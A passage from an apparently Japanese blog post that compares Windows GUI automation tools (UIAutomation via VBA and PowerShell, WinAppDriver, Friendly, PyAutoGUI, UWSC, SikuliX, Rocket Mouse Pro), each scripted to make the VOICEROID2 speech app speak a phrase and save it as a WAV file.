IUIAutomationElement Set saveFileForm = vr.WaitMainWindowByTitle(saveWvForm, "名前を付けて保存", 5) Call vr.SetTextById(saveFileForm, "1001", Format(Now(), "yyyymmddhhnnss.wav")) SendKeys "{ENTER}" ' 情報ポップアップのOKを押下 Dim infoForm As IUIAutomationElement Set infoForm = vr.WaitMainWindowByTitle(saveWvForm, "情報", 60) Call vr.pushButton(infoForm, 0) End SubVoiceRoid.clsOption Explicit Private uia As UIAutomationClient.CUIAutomation Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Sub Class_Initialize() Set uia = New UIAutomationClient.CUIAutomation End Sub Private Sub Class_Terminate() Set uia = Nothing End Sub Public Sub SleepMilli(ByVal millisec As Long) Call Sleep(millisec) End Sub ' ルートのディスクトップ要素を取得 Public Function GetRoot() As IUIAutomationElement Dim ret As IUIAutomationElement Set ret = uia.GetRootElement Set GetRoot = ret End Function ' 指定の子ウィンドウをタイトルから取得する Public Function GetMainWindowByTitle(ByRef form As IUIAutomationElement, ByVal name As String) As IUIAutomationElement Dim cnd As IUIAutomationCondition Dim ret As IUIAutomationElement Set cnd = uia.CreatePropertyCondition(UIA_PropertyIds.UIA_NamePropertyId, name) Set ret = form.FindFirst(TreeScope_Element Or TreeScope_Children, cnd) Set GetMainWindowByTitle = ret End Function ' 指定の子ウィンドウをタイトルから取得できまで待機 Public Function WaitMainWindowByTitle(ByRef form As IUIAutomationElement, ByVal name As String, ByVal timeOutSec As Double) As IUIAutomationElement Dim start As Variant start = timer() Dim ret As IUIAutomationElement Set ret = GetMainWindowByTitle(form, name) Do While ret Is Nothing If timer() - start > timeOutSec Then Exit Function End If Set ret = GetMainWindowByTitle(form, name) Call SleepMilli(100) Loop Set WaitMainWindowByTitle = ret End Function ' ボタンを指定Indexを押下する Public Sub pushButton(ByRef form As IUIAutomationElement, ByVal ix As Long) Dim cnd As IUIAutomationCondition Set cnd = uia.CreatePropertyCondition(UIA_PropertyIds.UIA_ClassNamePropertyId, "Button") Dim list As IUIAutomationElementArray Set list = form.FindAll(TreeScope_Element Or TreeScope_Descendants, cnd) Dim ptn As IUIAutomationInvokePattern Set ptn = list.GetElement(ix).GetCurrentPattern(UIA_PatternIds.UIA_InvokePatternId) Call ptn.Invoke End Sub ' 指定のClassNameがTextBoxに値を設定する Public Sub SetText(ByRef form As IUIAutomationElement, ByVal ix As Long, ByVal text As String) Dim cnd As IUIAutomationCondition Set cnd = uia.CreatePropertyCondition(UIA_PropertyIds.UIA_ClassNamePropertyId, "TextBox") Dim list As IUIAutomationElementArray Set list = form.FindAll(TreeScope_Element Or TreeScope_Descendants, cnd) Dim editValue As IUIAutomationValuePattern Set editValue = list.GetElement(ix).GetCurrentPattern(UIA_PatternIds.UIA_ValuePatternId) Call editValue.SetValue(text) End Sub ' 指定のAutomationIdでTextBoxに値を設定する Public Sub SetTextById(ByRef form As IUIAutomationElement, ByVal id As String, ByVal text As String) Dim cnd As IUIAutomationCondition Set cnd = uia.CreatePropertyCondition(UIA_PropertyIds.UIA_AutomationIdPropertyId, id) Dim list As IUIAutomationElementArray Set list = form.FindAll(TreeScope_Element Or TreeScope_Descendants, cnd) Dim editValue As IUIAutomationValuePattern Set editValue = list.GetElement(0).GetCurrentPattern(UIA_PatternIds.UIA_ValuePatternId) Call editValue.SetValue(text) End Sub ' 指定のClassNameがTextBoxの値を取得する Public Function GetStatusBarItemText(ByRef form As IUIAutomationElement, ByVal ix As Long) As String Dim cnd As IUIAutomationCondition Set cnd = uia.CreatePropertyCondition(UIA_PropertyIds.UIA_ClassNamePropertyId, "StatusBarItem") Dim list As IUIAutomationElementArray Set list = form.FindAll(TreeScope_Element Or TreeScope_Descendants, cnd) GetStatusBarItemText = list.GetElement(ix).CurrentName End Function備考
・画像認識はUIAutomationの範囲からはずれるために実施していません。
・タブの子要素が取得できません。茜ちゃんから葵ちゃんに切り替えたり、感情を変更することができないことになります。
・UIAutomationで要素を検索して値の取得や操作をしているだけです。
ただし、ディスクトップを検索する場合、直下の子供だけを検索するようにしないと時間がかかるので注意してください。・名前を付けて保存時にファイル名入力後にENTERを押下しています。これはロストフォーカス時に入力前の文字にもどってしまう事象の対策です。他のツールにおいても同様の実装をおこなっています。
PowerShell+UIAutomationでアカネチャンカワイイヤッター
PowerShellさえ入っているWin7以降ならOfficeすら不要で自動操作ができます。
また、VBAに対するアドバンテージとしては、.NETの機能が簡単に利用できるようになったことです。
管理者権限がなければps1ファイルが実行できないという勘違いをしていましたが、実際はそんなことはないので、学習コストさえ払えるならPowerShellに移行したほうがよいでしょう。PowerShellでの実装
https://github.com/mima3/rpa_akanechan/tree/master/powershell(UIAutomation.NET)
kawaii.ps1Add-Type -AssemblyName UIAutomationClient Add-Type -AssemblyName UIAutomationTypes Add-type -AssemblyName System.Windows.Forms $source = @" using System; using System.Windows.Automation; public class AutomationHelper { public static AutomationElement RootElement { get { return AutomationElement.RootElement; } } public static AutomationElement GetMainWindowByTitle(string title) { PropertyCondition cond = new PropertyCondition(AutomationElement.NameProperty, title); return RootElement.FindFirst(TreeScope.Children, cond); } public static AutomationElement ChildWindowByTitle(AutomationElement parent , string title) { try { PropertyCondition cond = new PropertyCondition(AutomationElement.NameProperty, title); return parent.FindFirst(TreeScope.Children, cond); } catch { return null; } } public static AutomationElement WaitChildWindowByTitle(AutomationElement parent, string title, int timeout = 10) { DateTime start = DateTime.Now; while (true) { AutomationElement ret = ChildWindowByTitle(parent, title); if (ret != null) { return ret; } TimeSpan ts = DateTime.Now - start; if (ts.TotalSeconds > timeout) { return null; } System.Threading.Thread.Sleep(100); } } } "@ Add-Type -TypeDefinition $source -ReferencedAssemblies("UIAutomationClient", "UIAutomationTypes") # 5.0以降ならusingで記載した方が楽。 $autoElem = [System.Windows.Automation.AutomationElement] # ウィンドウ以下で指定の条件に当てはまるコントロールを全て列挙 function findAllElements($form, $condProp, $condValue) { $cond = New-Object -TypeName System.Windows.Automation.PropertyCondition($condProp, $condValue) return $form.FindAll([System.Windows.Automation.TreeScope]::Element -bor [System.Windows.Automation.TreeScope]::Descendants, $cond) } # ウィンドウ以下で指定の条件に当てはまるコントロールを1つ取得 function findFirstElement($form, $condProp, $condValue) { $cond = New-Object -TypeName System.Windows.Automation.PropertyCondition($condProp, $condValue) return $form.FindFirst([System.Windows.Automation.TreeScope]::Element -bor [System.Windows.Automation.TreeScope]::Descendants, $cond) } # 要素をValuePatternに変換 function convertValuePattern($elem) { return $elem.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern) -as [System.Windows.Automation.ValuePattern] } # 指定の要素をボタンとみなして押下する function pushButton($form, $index) { $buttonElemes = findAllElements $form $autoElem::ClassNameProperty "Button" $invElm = $buttonElemes[$index].GetCurrentPattern([System.Windows.Automation.InvokePattern]::Pattern) -as [System.Windows.Automation.InvokePattern] $invElm.Invoke() } # 指定のAutomationIDのボタンを押下 function pushButtonById($form, $id) { $buttonElem = findFirstElement $form $autoElem::AutomationIdProperty $id $invElm = $buttonElem.GetCurrentPattern([System.Windows.Automation.InvokePattern]::Pattern) -as [System.Windows.Automation.InvokePattern] $invElm.Invoke() } # 指定の内容をしゃべらせる function speakText($mainForm, $message) { try { # テキストの検索 $textboxElems = findAllElements $mainForm $autoElem::ClassNameProperty "TextBox" $messageValuePtn = convertValuePattern $textboxElems[0] $messageValuePtn.SetValue($message); # 音声保存ボタン押下 pushButton $mainForm 0 # 読み上げ中は待機 $cond = New-Object -TypeName System.Windows.Automation.PropertyCondition([System.Windows.Automation.AutomationElement]::NameProperty, "テキストの読み上げは完了しました。") do { Start-Sleep -m 500 $elems = $mainForm.FindAll([System.Windows.Automation.TreeScope]::Element -bor [System.Windows.Automation.TreeScope]::Descendants, $cond) } while ($elems.Count -eq 0) return $True } catch { Write-Error "ファイルの保存に失敗しました" $_ return $False } } # しゃべる内容を設定後指定のファイルに保存 function saveText($mainForm , $message, $outPath) { try { # テキストの検索 $textboxElems = findAllElements $mainForm $autoElem::ClassNameProperty "TextBox" $messageValuePtn = convertValuePattern $textboxElems[0] $messageValuePtn.SetValue($message); # 音声保存ボタン押下 pushButton $mainForm 4 #音声保存ウィンドウが表示される可能性 $saveWvForm = [AutomationHelper]::WaitChildWindowByTitle($mainForm, "音声保存", 2) pushButton $saveWvForm 0 #名前を付けて保存 $saveFileForm = [AutomationHelper]::WaitChildWindowByTitle($saveWvForm, "名前を付けて保存", 5) if ($saveFileForm -eq $null) { return $False; } $txtFilePathElem = findFirstElement $saveFileForm $autoElem::AutomationIdProperty "1001" $txtFilePathValuePtn = convertValuePattern $txtFilePathElem $txtFilePathValuePtn.SetValue($outPath); [System.Windows.Forms.SendKeys]::SendWait("{ENTER}") #エンターでないとコンボボックスが効いて、元に戻る。 #pushButtonById $saveFileForm "1" # ここでファイルの上書きがtxtとwav分でる可能性があるが、ファイル名を一意にすることで回避すること # 情報ポップアップがでるまで待機 $infoWin = [AutomationHelper]::WaitChildWindowByTitle($saveWvForm, "情報", 60) if ($infoWin -eq $null) { return $False; } pushButton $infoWin 0 return $True } catch { Write-Error "ファイルの保存に失敗しました" $_ return $False } } # メイン処理 $mainForm = [AutomationHelper]::GetMainWindowByTitle("VOICEROID2") if ($mainForm -eq $null) { $mainForm = [AutomationHelper]::GetMainWindowByTitle("VOICEROID2*") } if ($mainForm -eq $null) { Write-Error "VOICEROID2を起動してください" exit 1 } # しゃべる $ret = speakText $mainForm 'アカネチャンカワイイヤッタ' if ($ret -eq $False ) { exit } # 保存する $fileName = Get-Date -Format "yyyyMMddHHmmss.wav" saveText $mainForm 'アカネチャンカワイイヤッタ' $fileName備考
・タブにたいする制限はVBAのUIAutomationと同じです。
・PowerShell中にC#のコードを埋め込んでいる理由は「名前を付けて保存」ダイアログを操作するためです。
下記を参照してください。
>PowerShellのUIAutomationは複雑怪奇なり・using等の新しい機能は使わないようにしているのでPowershell2.0あたりでも動くと思います(未検証)
WinAppDriverでアカネチャンカワイイヤッター
Seleniumライクな操作でWindowsアプリを操作するためにマイクロソフトが開発したツールです。Seleniumの操作とほぼ同じなので、学習コストは低くなることが期待できます。
その構成は以下のようになります。
操作プログラムは操作対象のプログラムを直接操作するのでなくWebAppDriver経由で操作をおこないます。
操作プログラムとWebAppDriverの間は下記のようなJSONデータでやりとりが行われています。WebAppDriverはダウンロードページ から入手してください。
WinAppDriverUiRecorderについて
XPathを用いてWindowの要素を操作するのですが、そのXPathの検査にはWinAppDriverUiRecorderを使用します。
C# Codeのタブを選択すると行った操作の内容の実装例が表示されます。
ただし、基本的にあてにはならないのでXPathの参考程度にするといいでしょう。
またマルチディスプレイで作業している場合、1つめのディスプレイしか認識しないので注意してください。WinAppDriverを使用した実装
https://github.com/mima3/rpa_akanechan/tree/master/visualstudio/WinAppDriverSemple
NuGetで取得した資材。
・Appium.WebDriver v3.0.0.2using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using OpenQA.Selenium.Appium.Windows; using OpenQA.Selenium.Remote; using OpenQA.Selenium; using System.Globalization; namespace WinAppDriverSemple { class Program { static WindowsDriver<WindowsElement> desktopSession; private const string WindowsApplicationDriverUrl = "http://127.0.0.1:4723/"; // 指定の要素が検索できるまで待機する public static WindowsElement WaitElementByAbsoluteXPath(WindowsDriver<WindowsElement> root, string xPath, int nTryCount = 15) { WindowsElement uiTarget = null; while (nTryCount-- > 0) { try { uiTarget = root.FindElementByXPath(xPath); } catch { } if (uiTarget != null) { break; } else { System.Threading.Thread.Sleep(500); } } return uiTarget; } static void Main(string[] args) { // DesktopからVOCAROID2を検索 DesiredCapabilities desktopCapabilities = new DesiredCapabilities(); desktopCapabilities.SetCapability("app", "Root"); desktopCapabilities.SetCapability("deviceName", "WindowsPC"); desktopSession = new WindowsDriver<WindowsElement>(new Uri(WindowsApplicationDriverUrl), desktopCapabilities); String hwnd; WindowsElement appElem; appElem = desktopSession.FindElementByName("VOICEROID2"); hwnd = appElem.GetAttribute("NativeWindowHandle"); if (hwnd.Equals("0")) { appElem = desktopSession.FindElementByName("VOICEROID2*"); hwnd = appElem.GetAttribute("NativeWindowHandle"); } DesiredCapabilities appCapabilities = new DesiredCapabilities(); hwnd = int.Parse(hwnd).ToString("x"); appCapabilities.SetCapability("appTopLevelWindow", hwnd); WindowsDriver<WindowsElement> appSession = new WindowsDriver<WindowsElement>(new Uri(WindowsApplicationDriverUrl), appCapabilities); // しゃべらせる var txtMsg = appSession.FindElementByXPath("//Edit[@AutomationId=\"TextBox\"]"); txtMsg.Click(); // 英語キーボードじゃないと記号が旨く送信できない(Seleniumの仕様っぽい) txtMsg.SendKeys(Keys.LeftControl + "a"); txtMsg.SendKeys(Keys.Delete); txtMsg.SendKeys("アカネチャンカワイイヤッタ"); var btnPlay = appSession.FindElementByXPath("//Button[@ClassName=\"Button\"]/Text[@ClassName=\"TextBlock\"][@Name=\"再生\"]"); btnPlay.Click(); // 保存開始 var statusBar = WaitElementByAbsoluteXPath(appSession, "//StatusBar[@ClassName =\"StatusBar\"]/Text[@ClassName=\"StatusBarItem\"][@Name=\"テキストの読み上げは完了しました。\"]/Text[@ClassName=\"TextBlock\"][@Name=\"テキストの読み上げは完了しました。\"]"); if (statusBar == null) { Console.Error.WriteLine("読み上げ失敗"); return; } var btnSave = appSession.FindElementByXPath("//Button[@ClassName=\"Button\"]/Text[@ClassName=\"TextBlock\"][@Name=\"音声保存\"]"); btnSave.Click(); // 音声保存画面でOK押下 var btnSaveOk = appSession.FindElementByXPath("//Window[@ClassName =\"Window\"][@Name=\"音声保存\"]/Button[@ClassName=\"Button\"][@Name=\"OK\"]"); btnSaveOk.Click(); // 名前を付けて保存 var txtFileName = appSession.FindElementByXPath("//Window[@ClassName=\"#32770\"][@Name=\"名前を付けて保存\"]/Pane[@ClassName=\"DUIViewWndClassName\"]/ComboBox[@Name=\"ファイル名:\"][@AutomationId=\"FileNameControlHost\"]/Edit[@ClassName=\"Edit\"][@Name=\"ファイル名:\"]"); String hankakuKey = Convert.ToString(Convert.ToChar(0xE0 + 244, CultureInfo.InvariantCulture), CultureInfo.InvariantCulture); // 英字キーボードだと以下のキーで半角全角切り替えになる txtFileName.SendKeys("`"); // 0xFF40 txtFileName.SendKeys(Keys.LeftControl + "a"); txtFileName.SendKeys(Keys.Delete); // txtFileName.SendKeys(System.DateTime.Now.ToString("yyyymMMddhhmmss") + ".wav"); txtFileName.SendKeys(Keys.Enter); // var infoOk = WaitElementByAbsoluteXPath(appSession, "//Window[@ClassName=\"#32770\"][@Name=\"情報\"]/Button[@ClassName=\"Button\"][@Name=\"OK\"]"); infoOk.Click(); } } }備考
・Windows10でしか動作しません。
・WinAppDriverで公開されているものはテストコードとUIRecorderのみです。WinAppDriver自体のコードは公開されていません。
・UIAutomation同様、タブの子要素が取得できません。
・日本語キーボードの場合、記号が正常に表示されません。
例:editBox.SendKeys("a/b\c"); // →a/b]c
https://github.com/Microsoft/WinAppDriver/issues/194・XPathで要素の指定は容易に行えます。しかしながらパフォーマンスがUIAutomationに比べてかなり落ちます。
今回はすこしでも早くなることを期待して、ディスクトップのルートからでなく、アプリケーションから検索するようにしています。・名前を付けて保存をする際のファイル名がどうしても全角になってしまい、そこを「`」を送信することでごまかしています。
Friendlyでアカネチャンカワイイヤッター
操作プログラムが使用しているFrendlyが操作対象の茜ちゃんにDLLインジェクションをします。
それにより、そこでプロセス間通信を行い画面の要素の情報を取得しています。この仕組みのため、マイクロソフト製のUIAutomationとWinAppDriverでも、やれないことを平然とやってのけます。
そこにしびれるあこがれる~!!!
ただし、操作対象のアプリケーションにテスト用のDLLを差し込んだものをテストや運用で使っていいのかという問題がありますので導入時にはよく検討すべきです。一方、単体テストや、再起動可能な画面の自動操作では非常に強力なライブラリです。日本の会社が作った仕組みなので、公式サイトのドキュメントをみるのが一番いいでしょう。
また、GitHubにコードが公開されています。Friendlyでの実装例を教えてくれるTestAssistantツール
TestAssistantというツールが提供されており、画面の要素の調査がおこなえます。
要素を選択してコードのサンプルを作成したり、実際作成したサンプルをツール上で実行できたりと、かなり強力なツールになっています。同一アプリに対する操作について
同一アプリに複数のプロセスがFriendlyを使用して操作すると以下のエラーを出力してエラーになります。
エラー内容型 'Codeer.Friendly.FriendlyOperationException' のハンドルされていない例外が Codeer.Friendly.Windows.dll で発生しました 追加情報:アプリケーションとの通信に失敗しました。 対象アプリケーションが通信不能な状態になったか、 シリアライズ不可能な型のデータを転送しようとした可能性があります。たとえば、TestAssistantで要素を調べならがら、コードを書いている場合によく遭遇します。
この場合は、操作対象のアプリケーションを起動しなおす必要があります。ウィルスバスターの検知
設定によってはウィルスバスターによって誤検知されるので注意してください。
Friendlyによる実装
https://github.com/mima3/rpa_akanechan/tree/master/visualstudio/FriendlySample
Nugetで取得したもの
・Codeer.Friendly
・Codeer.Friendly.Windows
・Codeer.Friendly.Windows.Grasp
・Codeer.Friendly.Windows.NativeStandardControls
・Codeer.TestAssistant.GeneratorToolKit
・RM.Friendly.WPFStandardControlsProgram.csusing Codeer.Friendly; using Codeer.Friendly.Windows; using Codeer.Friendly.Windows.Grasp; using RM.Friendly.WPFStandardControls; using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Text; using System.Threading.Tasks; using Codeer.Friendly.Windows.NativeStandardControls; using Codeer.Friendly.Dynamic; namespace AkanechanKawaii { class Program { static void Main(string[] args) { // プロセスの取得 Process[] ps = Process.GetProcessesByName("VoiceroidEditor"); if (ps.Length == 0) { Console.Error.WriteLine("VOICEROID2を起動してください"); return; } // WindowsAppFriendをプロセスから作成する // 接続できない旨のエラーの場合、別のプロセスでテスト対象のプロセスを操作している場合がある。 // TestAssistant使いながら動作できないようなので、注意。 var app = new WindowsAppFriend(ps[0]); var mainWindow = WindowControl.FromZTop(app); // 茜ちゃんしゃべる WPFTextBox txtMessage = new WPFTextBox(mainWindow.IdentifyFromLogicalTreeIndex(0, 4, 3, 5, 3, 0, 2)); txtMessage.EmulateChangeText("アカネチャンカワイイヤッタ"); WPFButtonBase btnPlay = new WPFButtonBase(mainWindow.IdentifyFromLogicalTreeIndex(0, 4, 3, 5, 3, 0, 3, 0)); btnPlay.EmulateClick(); // ステータスバーを監視してしゃべり終わるまでまつ String sts; do { System.Threading.Thread.Sleep(500); var txtStatusItem = mainWindow.IdentifyFromVisualTreeIndex(0, 0, 0, 0, 2, 0, 0, 0, 4, 0, 0, 0).Dynamic(); ; sts = txtStatusItem.Text.ToString(); } while (!sts.Equals("テキストの読み上げは完了しました。")); // 保存ボタン押下 // ダイアログが表示されると引数なしのEmulateClickだと止まるのでAsyncオブジェクトを渡しておく var async = new Async(); WPFButtonBase btnSave = new WPFButtonBase(mainWindow.IdentifyFromLogicalTreeIndex(0, 4, 3, 5, 3, 0, 3, 5)); btnSave.EmulateClick(async); // 音声保存ダイアログ操作 var dlgSaveWav = mainWindow.WaitForNextModal(); var asyncSaveWin = new Async(); WPFButtonBase buttonOK = new WPFButtonBase(dlgSaveWav.IdentifyFromLogicalTreeIndex(0, 1, 0)); buttonOK.EmulateClick(asyncSaveWin); // ファイル名指定後の保存 var asyncSaveFile = new Async(); var dlgFileSave = dlgSaveWav.WaitForNextModal(); NativeEdit editFileName = new NativeEdit(dlgFileSave.IdentifyFromZIndex(11, 0, 4, 0, 0)); editFileName.EmulateChangeText(System.DateTime.Now.ToString("yyyymMMddhhmmss") + ".wav"); NativeButton btnSaveOk = new NativeButton(dlgFileSave.IdentifyFromDialogId(1)); btnSaveOk.EmulateClick(asyncSaveFile); // 情報ダイアログが表示されるまで待機してOKを押下 var dlgInfo = WindowControl.WaitForIdentifyFromWindowText(app, "情報"); NativeButton btn = new NativeButton(dlgInfo.IdentifyFromWindowText("OK")); btn.EmulateClick(); //非同期で実行した保存ボタン押下の処理が完全に終了するのを待つ asyncSaveFile.WaitForCompletion(); asyncSaveWin.WaitForCompletion(); async.WaitForCompletion(); // 葵ちゃんに切り替えてしゃべる // UIAutomationだと葵ちゃん切り替えが行えない。 WPFListView ListView = new WPFListView(mainWindow.IdentifyFromLogicalTreeIndex(0, 4, 3, 3, 0, 1, 0, 2)); ListView.EmulateChangeSelectedIndex(1); txtMessage.EmulateChangeText("オネエチャンカワイイヤッタ"); btnPlay.EmulateClick(); ListView.EmulateChangeSelectedIndex(0); } } }備考
・基本的にIdentifyFromLogicalTreeIdxで取得している要素はTestAssistantで取得しています。
・引数なしのEmulateClickで制御がおわるまでかえってこないボタンについてはAsyncをわたして、最後でWaitForCompletion()を実行して終了を待っています。
・UIAutomationでもWinAppDriverでも取れないタブの中身を取得できるため、葵ちゃんに切り替えてしゃべってもらっています。
PyAutoGUIでアカネチャンカワイイヤッター
Pythonで自動操作を行えます。
いままでのツールやライブラリと違い、PyAutoGuiはMacやUnixでも動作するので複数のOSで同じ操作をする場合に有効になると想定されます。PyAutoGUIによる実装
https://github.com/mima3/rpa_akanechan/tree/master/PyAutoGui
import time import pyautogui import pyperclip import datetime # クリップボードを経由する場合 # http://sagantaf.hatenablog.com/entry/2017/10/18/231750 def copipe(string): pyperclip.copy(string) pyautogui.hotkey('ctrl', 'v') # 指定の画像が表示されるまで待つ def waitPicture(f): print(f) ret = None while ret is None: ret = pyautogui.locateOnScreen(f, grayscale=False, confidence=.8) print (ret) if ret is not None: return ret time.sleep(1) mainButtons = pyautogui.locateOnScreen('mainbutton.bmp', grayscale=False, confidence=.8) if mainButtons is None: print (u'VOICEROID2の再生ボタンが見つかりません') exit() # テキスト選択 pyautogui.click(mainButtons[0] + 30, mainButtons[1] ) # テキストのクリア pyautogui.hotkey('ctrl', 'a') pyautogui.press('del') # テキストの設定 copipe(u'アカネチャンカワイイヤッタ') # 再生 pyautogui.click(mainButtons[0], mainButtons[1] + mainButtons[3] / 2 ) # 読み上げまで待機 time.sleep(0.5) waitPicture('status.bmp') # 音声の保存 pyautogui.click(mainButtons[0] + mainButtons[2], mainButtons[1] + mainButtons[3] / 2 ) wavSave = waitPicture('wavSave.bmp') pyautogui.click(wavSave[0] + 5, wavSave[1] + wavSave[3] / 2 ) # ファイルの保存 fileSave = waitPicture('fileSave.bmp') pyautogui.click(fileSave[0], fileSave[1]) copipe(datetime.datetime.now().strftime("%Y%m%d%H%M%S.wav")) pyautogui.press('enter') # 情報ダイアログ info = waitPicture('info.bmp') pyautogui.click(info[0] + info[2], info[1] + info[3]) # 葵ちゃんしゃべる time.sleep(0.5) aoi = pyautogui.locateOnScreen('aoi.bmp', grayscale=False, confidence=.8) pyautogui.click(aoi[0], aoi[1]) # テキスト設定 pyautogui.click(mainButtons[0] + 30, mainButtons[1] ) pyautogui.hotkey('ctrl', 'a') pyautogui.press('del') copipe(u'オネエチャンカワイイヤッタ') pyautogui.click(mainButtons[0], mainButtons[1] + mainButtons[3] / 2 ) # 茜ちゃんに戻す akane = pyautogui.locateOnScreen('akane.bmp', grayscale=False, confidence=.8) pyautogui.click(akane[0], akane[1])解説
・キーボード操作処理で日本語入力に対応していないため、pyperclipを使用してクリップボード経由で文字を設定しています。クリップボードの内容が重大な場合のシナリオについて留意してください。
・locateOnScreenで画像認識をしており、その精度はconfidenceパラメータにより制御しています。画像が認識しずらい場合、この値を下げてみてください。
・あくまで画像認識なので、実行前に対象のコントロールが隠れていたりしないことを確認してから実行してください。他にも解像度の変更やウィンドウサイズや位置の違いで簡単に動かなくなります。
・マルチディスプレイの場合、1つめのディスプレイに操作対象のウィンドウがないと動作しないです。
UWSCでアカネチャンカワイイヤッター
10年以上前から存在するツールです。
レコード機能が強力でAutoHotKeyやAutoItでは認識しないような画面の要素を検出できます。
また、画像認識などの機能そろっており、おそらく、もっとも使いやすいツールの一つでした。残念なことに、2018年ころよりサイトが閉鎖されてしまい、今後使用することはできないでしょう。
UWSCによる実装
https://github.com/mima3/rpa_akanechan/tree/master/UWSC
id = GETID("VOICEROID2", "HwndWrapper[VoiceroidEdito", -1) If id=NULL Then id = GETID("VOICEROID2*", "HwndWrapper[VoiceroidEdito", -1) EndIf // 再生を行う SLEEP(1) SENDSTR(id, "アカネチャンカワイイヤッタ", 1, True, True) CLKITEM(id, "", CLK_BTN , True, 0) // ステータスバーをみて再生完了を待つ sts = "" While sts <> "テキストの読み上げは完了しました。" Sleep(0.1) GETITEM(id, ITM_STATUSBAR) sts = ALL_ITEM_LIST[6] Wend // 保存ボタン CLKITEM(id, "", CLK_BTN , True, 5) // 音声保存画面 idSaveWv = GETID("音声保存", "HwndWrapper[VoiceroidEdito", -1) CLKITEM(idSaveWv, "OK", CLK_BTN , True, 0) // 名前を付けて保存画面 idFileSave = GETID("名前を付けて保存", "#32770", -1) SENDSTR(idFileSave, PARAM_STR[0], 0, True, True) KBD(VK_ENTER) //CLKITEM(idFileSave, "保存", CLK_ACC) // OK押下 idInfo = GETID("情報", "#32770", -1) CLKITEM(idInfo, "OK", CLK_BTN) // 葵ちゃんに切り替え SLEEP(1) ret = CHKIMG("aoi.bmp") BTN(LEFT, CLICK, G_IMG_X, G_IMG_Y) SLEEP(0.5) SENDSTR(id, "オネエチャンカワイイヤッタ", 1, True, True) CLKITEM(id, "", CLK_BTN , True, 0) SLEEP(0.5) CHKIMG("akane.bmp") BTN(LEFT, CLICK, G_IMG_X, G_IMG_Y)備考
・Tabの要素は取得できませんが、画像認識により代替できます。
・レコーダ―では記録されない要素がありますが、スクリプトを書くと要素を取得できます。
・CHKIMGはBMP形式のみが対象です。
・サイト閉鎖の問題もあり今後利用するのは厳しいでしょう。
sikulixでアカネチャンカワイイヤッター
画像認識に特化したツールです。
Ruby,Python,JavaScriptで記載されたスクリプトをJavaで解析して動作します。
基本がJavaなのでMacやLinuxでも動作します。ただし1.1.4よりJavaの64ビットが要求されています。UWSC,pyAutoGuiともに画像認識は行えますが、使用する画像はあらかじめ用意する必要がありました。しかしsikulixでは、必要な際にディスクトップ全体から切り取って使用できます。
また画像のどこをクリックするかという指定もGUI上で行えます。
操作記録の機能こそないものの、直観的に作成できる貴重なツールです。
sikulixの実装
https://github.com/mima3/rpa_akanechan/tree/master/sikulix/sikulix.sikuli
import datetime import sys reload(sys) sys.setdefaultencoding('utf-8') #マルチディスプレイの場合は、1のディスプレイじゃないと動かない模様 # 茜ちゃんしゃべる click(Pattern("1558790034069.png").targetOffset(-174,-16)) type('a', Key.CTRL) type(Key.DELETE) paste(u"アカネチャンカワイイヤッタ") click(Pattern("1558790034069.png").targetOffset(-162,14)) wait(2) wait("1558790542060.png") click(Pattern("1558790034069.png").targetOffset(121,16)) # 音声保存画面 click(Pattern("1558790796902.png").targetOffset(-39,2)) # 名前を付けて保存 click(Pattern("1558790905402.png").targetOffset(-45,-35)) type('a', Key.CTRL) type(Key.DELETE) paste(datetime.datetime.now().strftime("%Y%m%d%H%M%S.wav")) type(Key.ENTER) click(Pattern("1558790905402.png").targetOffset(-41,38)) # 情報のOKボタンクリック click(Pattern("1558791076872.png").targetOffset(87,50)) # 消えるまでまつ # 時間が読めない場合はregionとってexistsで消えるまで見る wait(1) # 葵ちゃん click("1558791449664.png") click(Pattern("1558790034069.png").targetOffset(-174,-16)) type('a', Key.CTRL) type(Key.DELETE) paste(u"オネエチャンカワイイヤッタ") click(Pattern("1558790034069.png").targetOffset(-162,14)) wait(2) click("1558791495218.png")備考
・画像ファイル名になっている箇所はIDE上は画像が表示されます。またtargetOffsetについては赤い十字で表現されます。
・今回ためしたsikuliのバージョンは1.1.4で、使用しているPythonはJythonで2.7になります。また、Javaに組み込んでいるため、通常のPythonより使い勝手がわるい可能性があります。
先に紹介したpyAutoGuiとの使い分けとしてはPythonでどの程度やらせるかが、一つの基準になるでしょう。・マルチディスプレイの場合、1つめのディスプレイにないと動作しません。
・画像認識を使用しているのでウィンドウが隠れたりすると正常に動作しません。
・下記のコードは日本語を表示するためのものです。
import sys reload(sys) sys.setdefaultencoding('utf-8')Rocket Mouose Proでアカネチャンカワイイヤッター
古くからあるツールで、1万円前後で入手できます。今回は14日使える試用版で作成しました。
いままで紹介したツールと違い、スクリプトなどは記載しません。このため、単純な処理は容易に作成できますが、複雑な分岐がある場合は対応できません。
Rocket Mouose Proによる実装と解説
https://github.com/mima3/rpa_akanechan/tree/master/rmpro
Rocket Mouseでは「最初の処理」、「繰り返しの処理」、「最後の処理」の3つありますが、今回は「最初の処理」と「最後の処理」のみ使用します。
また、最後の処理につては完了メッセージを表示するだけになります。テキストと再生ボタンの画像認識を行い、認識できた場合はテキストをクリックします。
認識できなければ「最期の処理の1行目」にジャンプし処理を終了します。この処理はキーボード操作でテキストをクリアしたのち、入力したい文字を入れています。
最初の処理5行目
これは最初の処理1行目とほぼ同じで押下している箇所が違うだけです。
今回は再生ボタンをおしています。最初の処理6行目
この処理は「テキストを読み上げました」と表示されるまで無限ループをしています。最初の処理7行目
ショートカットキーで音声保存をしています。最初の処理8行目
「音声保存」というタイトルのウィンドウが表示されるまで待機します。OKボタンが表示されたらクリックする、されなければ終了としています。
最初の処理10行目
最初の処理8行目と同様に「名前を付けて保存」画面がでるまで待ちます。時刻を取得して書式を整えたあと、変数$now$に格納します。
最初の処理12~13
ファイル名に格納した変数$now$を設定後Enterを押します。
これにより名前を付けて保存ダイアログが終了します。最初の処理14~15
「情報」というウィンドウが表示されるまでまち、表示されたらEnterを押して終了します。最初の処理16~
あとは今まで出た内容と同じように、葵ちゃんを画像認識で選択後、しゃべらせています。備考
・マルチディスプレイの場合、1つめのディスプレイにないと動作しません。
・また、条件分岐の制約上エラー処理に弱いです。たとえば、画像が見つからない場合に無限ループになったりします。
UiPathでアカネチャンカワイイヤッター
2018年のforresterの調査でRPAのリーダーと言わしめた製品になっています。
